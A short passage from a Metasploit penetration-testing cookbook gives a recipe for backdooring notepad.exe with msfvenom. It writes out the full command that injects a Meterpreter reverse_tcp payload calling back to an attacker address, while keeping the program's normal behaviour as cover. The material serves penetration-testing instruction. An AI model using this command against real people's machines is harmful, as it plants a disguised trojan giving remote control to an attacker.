Metasploit Penetration Testing Cookbook - Third Edition

How to do it...

1. We will use msfvenom to backdoor the notepad.exe binary:
   • Use -a for the architecture, in this case, x86
   • --platform  for the platform of the payload Windows
   • -p, for the payload to use windows/meterpreter/reverse_tcp, LHOST followed by the IP address of our Kali machine
   • -x to specify a custom executable file to use as a template; in this recipe, we will use notepad.exe
   • -k to preserve the template behavior and inject the payload as a new thread
   • -f for the output format
   • -b to specify characters to avoid; in this case, null bytes "\x00" and -o for the output name of the payload:

root@kali:~# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -x notepad.exe -k -f exe -b "\x00" -o notepad-backdoored.exe ...